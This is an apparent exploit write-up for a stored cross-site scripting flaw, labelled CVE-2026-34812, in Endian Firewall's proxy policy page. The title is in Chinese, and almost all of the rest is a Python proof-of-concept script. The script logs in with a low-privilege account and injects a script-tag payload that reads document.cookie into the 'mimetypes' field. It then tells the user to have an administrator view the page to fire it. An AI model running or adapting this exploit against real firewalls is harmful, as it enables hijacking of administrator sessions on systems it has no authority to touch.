CVE-2026-34812: Endian Firewall存储型XSS漏洞

import requests # Target configuration target_url = "https://<target-ip>/cgi-bin/proxypolicy.cgi" login_url = "https://<target-ip>/cgi-bin/login.cgi" # Attacker credentials (requires low privilege account) credentials = { "username": "low_priv_user", "password": "password123" } # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate to the application try: login_resp = session.post(login_url, data=credentials, verify=False) if login_resp.status_code != 200: print("Login failed") exit() except Exception as e: print(f"Connection error: {e}") exit() # Step 2: Prepare the XSS payload # The payload injects a script tag to execute JavaScript xss_payload = '"><script>alert(document.cookie);</script>' # Step 3: Construct the exploit data # Vulnerable parameter is 'mimetypes' exploit_data = { "mimetypes": xss_payload, "action": "save", "csrf_token": "<obtain_csrf_token_from_page>" # May need to scrape this first } # Step 4: Send the malicious request response = session.post(target_url, data=exploit_data, verify=False) if response.status_code == 200: print("Payload injected successfully.") print("Trigger: Navigate to the proxypolicy page as an Admin to observe the XSS.") else: print(f"Injection failed, status code: {response.status_code}")